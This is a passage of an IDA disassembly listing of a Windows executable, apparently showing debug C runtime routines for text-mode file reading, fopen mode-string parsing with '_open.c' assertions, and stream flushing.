		mov	edx, [ebp+var_4]
		mov	eax, [edx+0Ch]
		and	eax, 82h
		test	eax, eax
		jnz	short loc_422091
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+10h], 0FFFFFFFFh
		jz	short loc_422066
		mov	edx, [ebp+var_4]
		mov	eax, [edx+10h]
		sar	eax, 5
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+10h]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[eax*4]
		add	eax, edx
		mov	[ebp+var_8], eax
		jmp	short loc_42206D
; ---------------------------------------------------------------------------


loc_422066:				; CODE XREF: sub_421F10+131j
		mov	[ebp+var_8], offset dword_451C50


loc_42206D:				; CODE XREF: sub_421F10+154j
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx+4]
		and	edx, 82h
		cmp	edx, 82h
		jnz	short loc_422091
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		or	ch, 20h
		mov	edx, [ebp+var_4]
		mov	[edx+0Ch], ecx


loc_422091:				; CODE XREF: sub_421F10+128j
					; sub_421F10+170j
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+18h], 200h
		jnz	short loc_4220C4
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx+0Ch]
		and	edx, 8
		test	edx, edx
		jz	short loc_4220C4
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+0Ch]
		and	ecx, 400h
		test	ecx, ecx
		jnz	short loc_4220C4
		mov	edx, [ebp+var_4]
		mov	dword ptr [edx+18h], 1000h


loc_4220C4:				; CODE XREF: sub_421F10+18Bj
					; sub_421F10+198j ...
		mov	eax, [ebp+var_4]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx+4], ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx]
		and	eax, 0FFh
		mov	edx, [ebp+var_4]
		mov	ecx, [edx]
		add	ecx, 1
		mov	edx, [ebp+var_4]
		mov	[edx], ecx


loc_4220ED:				; CODE XREF: sub_421F10+58j
					; sub_421F10+7Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_421F10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422100	proc near		; CODE XREF: sub_41AEA0+118p
					; sub_421F10+CBp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4EFD40
		jnb	short loc_422131
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42214C


loc_422131:				; CODE XREF: sub_422100+Dj
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42217E
; ---------------------------------------------------------------------------


loc_42214C:				; CODE XREF: sub_422100+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42BC50
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_422190
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42BCE0
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42217E:				; CODE XREF: sub_422100+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_422100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422190	proc near		; CODE XREF: sub_422100+64p
					; sub_42C3D0+42Fp

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_18], 0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_4221CB
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_4221D2


loc_4221CB:				; CODE XREF: sub_422190+17j
		xor	eax, eax
		jmp	loc_4225D1
; ---------------------------------------------------------------------------


loc_4221D2:				; CODE XREF: sub_422190+39j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 48h
		test	edx, edx
		jz	short loc_422269
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		movsx	eax, byte ptr [edx+ecx+5]
		cmp	eax, 0Ah
		jz	short loc_422269
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		mov	ecx, [ebp+var_14]
		mov	dl, [eax+edx+5]
		mov	[ecx], dl
		mov	eax, [ebp+var_14]
		add	eax, 1
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_18]
		add	ecx, 1
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+arg_8]
		sub	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	byte ptr [edx+ecx+5], 0Ah


loc_422269:				; CODE XREF: sub_422190+62j
					; sub_422190+82j
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4F13A4	; ReadFile
		test	eax, eax
		jnz	short loc_4222E8
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 5
		jnz	short loc_4222C7
		call	sub_4248A0
		mov	dword ptr [eax], 9
		call	sub_4248B0
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		or	eax, 0FFFFFFFFh
		jmp	loc_4225D1
; ---------------------------------------------------------------------------


loc_4222C7:				; CODE XREF: sub_422190+118j
		cmp	[ebp+var_8], 6Dh
		jnz	short loc_4222D4
		xor	eax, eax
		jmp	loc_4225D1
; ---------------------------------------------------------------------------


loc_4222D4:				; CODE XREF: sub_422190+13Bj
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_424800
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	loc_4225D1
; ---------------------------------------------------------------------------


loc_4222E8:				; CODE XREF: sub_422190+109j
		mov	eax, [ebp+var_18]
		add	eax, [ebp+var_10]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	loc_4225CE
		cmp	[ebp+var_10], 0
		jz	short loc_422364
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 0Ah
		jnz	short loc_422364
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		mov	cl, [eax+edx+4]
		or	cl, 4
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	edx, dword_4EFC40[edx*4]
		mov	[edx+eax+4], cl
		jmp	short loc_42239A
; ---------------------------------------------------------------------------


loc_422364:				; CODE XREF: sub_422190+18Ej
					; sub_422190+199j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	al, [edx+ecx+4]
		and	al, 0FBh
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	ecx, dword_4EFC40[ecx*4]
		mov	[ecx+edx+4], al


loc_42239A:				; CODE XREF: sub_422190+1D2j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	[ebp+var_4], eax


loc_4223A6:				; CODE XREF: sub_422190:loc_4225C0j
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_18]
		cmp	[ebp+var_4], ecx
		jnb	loc_4225C5
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 1Ah
		jnz	short loc_42241E
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4EFC40[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 40h
		test	ecx, ecx
		jnz	short loc_422419
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, dword_4EFC40[edx*4]
		mov	dl, [ecx+eax+4]
		or	dl, 2
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, dword_4EFC40[eax*4]
		mov	[eax+ecx+4], dl


loc_422419:				; CODE XREF: sub_422190+250j
		jmp	loc_4225C5
; ---------------------------------------------------------------------------


loc_42241E:				; CODE XREF: sub_422190+22Ej
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Dh
		jz	short loc_42244A
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	loc_4225C0
; ---------------------------------------------------------------------------


loc_42244A:				; CODE XREF: sub_422190+297j
		mov	edx, [ebp+var_18]
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+edx-1]
		cmp	[ebp+var_4], ecx
		jnb	short loc_4224A0
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 0Ah
		jnz	short loc_42247F
		mov	ecx, [ebp+var_4]
		add	ecx, 2
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_42249B
; ---------------------------------------------------------------------------


loc_42247F:				; CODE XREF: sub_422190+2D3j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42249B:				; CODE XREF: sub_422190+2EDj
		jmp	loc_4225C0
; ---------------------------------------------------------------------------


loc_4224A0:				; CODE XREF: sub_422190+2C7j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		push	0
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	eax, [edx+ecx]
		push	eax
		call	dword_4F13A4	; ReadFile
		test	eax, eax
		jnz	short loc_4224E9
		call	dword_4F1348	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax


loc_4224E9:				; CODE XREF: sub_422190+34Ej
		cmp	[ebp+var_8], 0
		jnz	short loc_4224F5
		cmp	[ebp+var_10], 0
		jnz	short loc_422509


loc_4224F5:				; CODE XREF: sub_422190+35Dj
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		jmp	loc_4225C0
; ---------------------------------------------------------------------------


loc_422509:				; CODE XREF: sub_422190+363j
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 48h
		test	eax, eax
		jz	short loc_422573
		movsx	ecx, [ebp+var_1C]
		cmp	ecx, 0Ah
		jnz	short loc_422545
		mov	edx, [ebp+var_C]
		mov	byte ptr [edx],	0Ah
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		jmp	short loc_422571
; ---------------------------------------------------------------------------


loc_422545:				; CODE XREF: sub_422190+3A2j
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, dword_4EFC40[eax*4]
		mov	al, [ebp+var_1C]
		mov	[edx+ecx+5], al


loc_422571:				; CODE XREF: sub_422190+3B3j
		jmp	short loc_4225C0
; ---------------------------------------------------------------------------


loc_422573:				; CODE XREF: sub_422190+399j
		mov	ecx, [ebp+var_C]
		cmp	ecx, [ebp+arg_4]
		jnz	short loc_422595
		movsx	edx, [ebp+var_1C]
		cmp	edx, 0Ah
		jnz	short loc_422595
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax],	0Ah
		mov	ecx, [ebp+var_C]
		add	ecx, 1
		mov	[ebp+var_C], ecx
		jmp	short loc_4225C0
; ---------------------------------------------------------------------------


loc_422595:				; CODE XREF: sub_422190+3E9j
					; sub_422190+3F2j
		push	1
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_429380
		add	esp, 0Ch
		mov	[ebp+var_20], eax
		movsx	eax, [ebp+var_1C]
		cmp	eax, 0Ah
		jz	short loc_4225C0
		mov	ecx, [ebp+var_C]
		mov	byte ptr [ecx],	0Dh
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_C], edx


loc_4225C0:				; CODE XREF: sub_422190+2B5j
					; sub_422190:loc_42249Bj ...
		jmp	loc_4223A6
; ---------------------------------------------------------------------------


loc_4225C5:				; CODE XREF: sub_422190+21Fj
					; sub_422190:loc_422419j
		mov	eax, [ebp+var_C]
		sub	eax, [ebp+arg_4]
		mov	[ebp+var_18], eax


loc_4225CE:				; CODE XREF: sub_422190+184j
		mov	eax, [ebp+var_18]


loc_4225D1:				; CODE XREF: sub_422190+3Dj
					; sub_422190+132j ...
		mov	esp, ebp
		pop	ebp
		retn
sub_422190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225E0	proc near		; CODE XREF: sub_41B070+DBp

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_4EFACC
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], 0
		mov	[ebp+var_10], 0


loc_4225FF:				; CODE XREF: sub_4225E0+47j
		cmp	[ebp+arg_0], 0
		jnz	short loc_422623
		push	offset aFilenameNull ; "filename != NULL"
		push	0
		push	47h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422623
		int	3		; Trap to Debugger


loc_422623:				; CODE XREF: sub_4225E0+23j
					; sub_4225E0+40j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_4225FF


loc_422629:				; CODE XREF: sub_4225E0+71j
		cmp	[ebp+arg_4], 0
		jnz	short loc_42264D
		push	offset aModeNull ; "mode != NULL"
		push	0
		push	48h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42264D
		int	3		; Trap to Debugger


loc_42264D:				; CODE XREF: sub_4225E0+4Dj
					; sub_4225E0+6Aj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_422629


loc_422653:				; CODE XREF: sub_4225E0+9Bj
		cmp	[ebp+arg_C], 0
		jnz	short loc_422677
		push	offset dword_437514
		push	0
		push	49h
		push	offset a_open_c	; "_open.c"
		push	2
		call	sub_41EED0
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_422677
		int	3		; Trap to Debugger


loc_422677:				; CODE XREF: sub_4225E0+77j
					; sub_4225E0+94j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_422653
		mov	ecx, [ebp+arg_4]
		mov	dl, [ecx]
		mov	[ebp+var_20], dl
		cmp	[ebp+var_20], 61h
		jz	short loc_4226BC
		cmp	[ebp+var_20], 72h
		jz	short loc_422699
		cmp	[ebp+var_20], 77h
		jz	short loc_4226AA
		jmp	short loc_4226CE
; ---------------------------------------------------------------------------


loc_422699:				; CODE XREF: sub_4225E0+AFj
		mov	[ebp+var_14], 0
		mov	eax, [ebp+var_1C]
		or	al, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_4226D5
; ---------------------------------------------------------------------------


loc_4226AA:				; CODE XREF: sub_4225E0+B5j
		mov	[ebp+var_14], 301h
		mov	ecx, [ebp+var_1C]
		or	ecx, 2
		mov	[ebp+var_1C], ecx
		jmp	short loc_4226D5
; ---------------------------------------------------------------------------


loc_4226BC:				; CODE XREF: sub_4225E0+A9j
		mov	[ebp+var_14], 109h
		mov	edx, [ebp+var_1C]
		or	edx, 2
		mov	[ebp+var_1C], edx
		jmp	short loc_4226D5
; ---------------------------------------------------------------------------


loc_4226CE:				; CODE XREF: sub_4225E0+B7j
		xor	eax, eax
		jmp	loc_4228F6
; ---------------------------------------------------------------------------


loc_4226D5:				; CODE XREF: sub_4225E0+C8j
					; sub_4225E0+DAj ...
		mov	[ebp+var_4], 1


loc_4226DC:				; CODE XREF: sub_4225E0:loc_42287Aj
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_42287F
		cmp	[ebp+var_4], 0
		jz	loc_42287F
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_24]
		sub	edx, 2Bh
		mov	[ebp+var_24], edx
		cmp	[ebp+var_24], 49h
		ja	loc_422873
		mov	ecx, [ebp+var_24]
		xor	eax, eax
		mov	al, byte_422925[ecx]
		jmp	off_4228FD[eax*4]


loc_42272B:				; DATA XREF: .nsp0:off_4228FDo
		mov	edx, [ebp+var_14]
		and	edx, 2
		test	edx, edx
		jz	short loc_42273E
		mov	[ebp+var_4], 0
		jmp	short loc_422760
; ---------------------------------------------------------------------------


loc_42273E:				; CODE XREF: sub_4225E0+153j
		mov	eax, [ebp+var_14]
		or	al, 2
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		or	dl, 80h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	al, 0FCh
		mov	[ebp+var_1C], eax


loc_422760:				; CODE XREF: sub_4225E0+15Cj
		jmp	loc_42287A
; ---------------------------------------------------------------------------


loc_422765:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:00422911o
		mov	ecx, [ebp+var_14]
		and	ecx, 0C000h
		test	ecx, ecx
		jz	short loc_42277B
		mov	[ebp+var_4], 0
		jmp	short loc_422784
; ---------------------------------------------------------------------------


loc_42277B:				; CODE XREF: sub_4225E0+190j
		mov	edx, [ebp+var_14]
		or	dh, 80h
		mov	[ebp+var_14], edx


loc_422784:				; CODE XREF: sub_4225E0+199j
		jmp	loc_42287A
; ---------------------------------------------------------------------------


loc_422789:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:0042291Do
		mov	eax, [ebp+var_14]
		and	eax, 0C000h
		test	eax, eax
		jz	short loc_42279E
		mov	[ebp+var_4], 0
		jmp	short loc_4227A7
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_4225E0+1B3j
		mov	ecx, [ebp+var_14]
		or	ch, 40h
		mov	[ebp+var_14], ecx


loc_4227A7:				; CODE XREF: sub_4225E0+1BCj
		jmp	loc_42287A
; ---------------------------------------------------------------------------


loc_4227AC:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:00422915o
		cmp	[ebp+var_18], 0
		jz	short loc_4227BB
		mov	[ebp+var_4], 0
		jmp	short loc_4227CB
; ---------------------------------------------------------------------------


loc_4227BB:				; CODE XREF: sub_4225E0+1D0j
		mov	[ebp+var_18], 1
		mov	edx, [ebp+var_1C]
		or	dh, 40h
		mov	[ebp+var_1C], edx


loc_4227CB:				; CODE XREF: sub_4225E0+1D9j
		jmp	loc_42287A
; ---------------------------------------------------------------------------


loc_4227D0:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:00422919o
		cmp	[ebp+var_18], 0
		jz	short loc_4227DF
		mov	[ebp+var_4], 0
		jmp	short loc_4227EF
; ---------------------------------------------------------------------------


loc_4227DF:				; CODE XREF: sub_4225E0+1F4j
		mov	[ebp+var_18], 1
		mov	eax, [ebp+var_1C]
		and	ah, 0BFh
		mov	[ebp+var_1C], eax


loc_4227EF:				; CODE XREF: sub_4225E0+1FDj
		jmp	loc_42287A
; ---------------------------------------------------------------------------


loc_4227F4:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:00422909o
		cmp	[ebp+var_10], 0
		jz	short loc_422803
		mov	[ebp+var_4], 0
		jmp	short loc_422813
; ---------------------------------------------------------------------------


loc_422803:				; CODE XREF: sub_4225E0+218j
		mov	[ebp+var_10], 1
		mov	ecx, [ebp+var_14]
		or	ecx, 20h
		mov	[ebp+var_14], ecx


loc_422813:				; CODE XREF: sub_4225E0+221j
		jmp	short loc_42287A
; ---------------------------------------------------------------------------


loc_422815:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:00422905o
		cmp	[ebp+var_10], 0
		jz	short loc_422824
		mov	[ebp+var_4], 0
		jmp	short loc_422834
; ---------------------------------------------------------------------------


loc_422824:				; CODE XREF: sub_4225E0+239j
		mov	[ebp+var_10], 1
		mov	edx, [ebp+var_14]
		or	edx, 10h
		mov	[ebp+var_14], edx


loc_422834:				; CODE XREF: sub_4225E0+242j
		jmp	short loc_42287A
; ---------------------------------------------------------------------------


loc_422836:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:0042290Do
		mov	eax, [ebp+var_14]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42284B
		mov	[ebp+var_4], 0
		jmp	short loc_422854
; ---------------------------------------------------------------------------


loc_42284B:				; CODE XREF: sub_4225E0+260j
		mov	ecx, [ebp+var_14]
		or	ch, 10h
		mov	[ebp+var_14], ecx


loc_422854:				; CODE XREF: sub_4225E0+269j
		jmp	short loc_42287A
; ---------------------------------------------------------------------------


loc_422856:				; CODE XREF: sub_4225E0+144j
					; DATA XREF: .nsp0:00422901o
		mov	edx, [ebp+var_14]
		and	edx, 40h
		test	edx, edx
		jz	short loc_422869
		mov	[ebp+var_4], 0
		jmp	short loc_422871
; ---------------------------------------------------------------------------


loc_422869:				; CODE XREF: sub_4225E0+27Ej
		mov	eax, [ebp+var_14]
		or	al, 40h
		mov	[ebp+var_14], eax


loc_422871:				; CODE XREF: sub_4225E0+287j
		jmp	short loc_42287A
; ---------------------------------------------------------------------------


loc_422873:				; CODE XREF: sub_4225E0+133j
					; sub_4225E0+144j
					; DATA XREF: ...
		mov	[ebp+var_4], 0


loc_42287A:				; CODE XREF: sub_4225E0:loc_422760j
					; sub_4225E0:loc_422784j ...
		jmp	loc_4226DC
; ---------------------------------------------------------------------------


loc_42287F:				; CODE XREF: sub_4225E0+10Dj
					; sub_4225E0+117j
		push	1A4h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42C3D0
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_4228A5
		xor	eax, eax
		jmp	short loc_4228F6
; ---------------------------------------------------------------------------


loc_4228A5:				; CODE XREF: sub_4225E0+2BFj
		mov	ecx, dword_4EF8EC
		add	ecx, 1
		mov	dword_4EF8EC, ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_C]


loc_4228F6:				; CODE XREF: sub_4225E0+F0j
					; sub_4225E0+2C3j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4225E0	endp

; ---------------------------------------------------------------------------
off_4228FD	dd offset loc_42272B	; DATA XREF: sub_4225E0+144r
		dd offset loc_422856
		dd offset loc_422815
		dd offset loc_4227F4
		dd offset loc_422836
		dd offset loc_422765
		dd offset loc_4227AC
		dd offset loc_4227D0
		dd offset loc_422789
		dd offset loc_422873
byte_422925	db 0			; DATA XREF: sub_4225E0+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422970	proc near		; CODE XREF: sub_41B070+B9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		push	2
		call	sub_41FB40
		add	esp, 4
		mov	[ebp+var_4], 0
		jmp	short loc_422999
; ---------------------------------------------------------------------------


loc_422990:				; CODE XREF: sub_422970+A8j
					; sub_422970:loc_422A99j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_422999:				; CODE XREF: sub_422970+1Ej
		mov	ecx, [ebp+var_4]
		cmp	ecx, dword_4F0FA0
		jge	loc_422A9E
		mov	edx, [ebp+var_4]
		mov	eax, dword_4EFF88
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_422A2F
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jnz	short loc_422A2D
		mov	edx, [ebp+var_4]
		mov	eax, dword_4EFF88
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41ED20
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ecx, dword_4EFF88
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_422A1D
		mov	ecx, [ebp+var_4]
		mov	edx, dword_4EFF88
		mov	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41ED90
		add	esp, 8
		jmp	loc_422990
; ---------------------------------------------------------------------------


loc_422A1D:				; CODE XREF: sub_422970+8Dj
		mov	edx, [ebp+var_4]
		mov	eax, dword_4EFF88
		mov	ecx, [eax+edx*4]
		mov	[ebp+var_8], ecx
